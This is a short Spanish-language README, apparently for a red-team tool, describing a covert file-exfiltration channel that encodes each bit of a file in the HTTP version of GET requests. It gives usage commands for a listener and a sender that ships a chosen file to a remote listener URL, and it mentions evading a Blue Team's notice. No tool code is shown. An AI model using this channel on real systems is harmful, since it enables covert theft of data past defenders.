
Exfiltrar archivos utilizando la versión del protocolo HTTP ("HTTP/1.0" es un 0 y "HTTP/1.1" es un 1)
Usa la versión del protocolo HTTP para enviar un archivo bit a bit ("HTTP/1.0" es un 0 y "HTTP/1.1" es un 1). Utiliza peticiones GET, por lo que el Blue Team solo vería las solicitudes a tu dirección IP. Sin embargo, se necesita mucho tiempo para enviar archivos grandes; por ejemplo, requiere 1 hora para enviar 200 KB, y la cantidad de peticiones sería muy alta (8 veces el número de bytes del archivo).

Para ejecutar el listener, usa listener.py con un argumento opcional: el puerto en el que escuchará.
python3 listener.py [PORT]
Ejemplo:
python3 listener.py 8080
Para enviar un archivo, usa sender.py con dos argumentos obligatorios: la ruta del archivo y la URL del listener; y un argumento opcional: el nombre del archivo creado remotamente (si no se usa, se emplea el nombre del archivo de entrada).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Ejemplo:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
Primero se envía el archivo:

Si la variable debug está configurada como True (lo está por defecto), puedes ver los valores binarios en los mensajes de registro del listener:

El nuevo archivo se crea con el contenido del archivo de entrada:

Creo (no estoy seguro) que leí a alguien en Twitter que afirmaba haber usado esto para exfiltrar datos y me gustó la idea; si eres esa persona, házmelo saber.